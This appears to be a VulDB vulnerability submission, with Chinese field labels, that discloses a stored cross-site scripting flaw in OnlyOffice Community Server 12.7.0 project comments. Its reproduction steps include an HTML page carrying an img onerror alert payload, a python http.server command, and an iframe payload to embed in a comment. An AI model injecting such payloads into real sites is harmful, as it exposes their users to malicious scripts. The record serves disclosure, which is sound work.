| 标题 | Ascensio System SIA OnlyOffice Community Server 12.7.0 Cross Site Scripting |
|---|
| 描述 | Description
In OnlyOffice, users can create projects and add comments. While HTML input is permitted, it also allows embedding iframe that can contain JavaScript, leading to an XSS vulnerability. The XSS doesn't directly affect OnlyOffice, instead JavaScript from any malicious site can be loaded to OnlyOffice through iframe tags.
Credits: 0xHamy & Luke Smith
Reproduce
Create index.html with the following content:
<!DOCTYPE html> <html> <head> <title>Malicious Page</title> </head> <body> <h1>Welcome to Evil Site</h1> <img/src=x onerror=alert('xss')> </body> </html>
Serve index.html with python http server:
python3 -m http.server
Create a comment under a project of your choice on OnlyOffice:
http://127.0.0.1:8088/Products/Projects/Messages.aspx?prjID=1&id=1#comments
Edit source code of the comment and use the following payload:
<iframe src="http://127.0.0.1:8000/index.html"></iframe>
Reload or spread the page and the content will load. |
|---|
| 来源 | ⚠️ https://hkohi.ca/vulnerability/21 |
|---|
| 用户 | 0xHamy (UID 88518) |
|---|
| 提交 | 2025-08-16 05時23分 (8 月前) |
|---|
| 管理 | 2025-09-11 07時42分 (26 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 323615 [Ascensio System SIA OnlyOffice 直到 12.7.0 Comment Messages.aspx 跨网站脚本] |
|---|
| 积分 | 20 |
|---|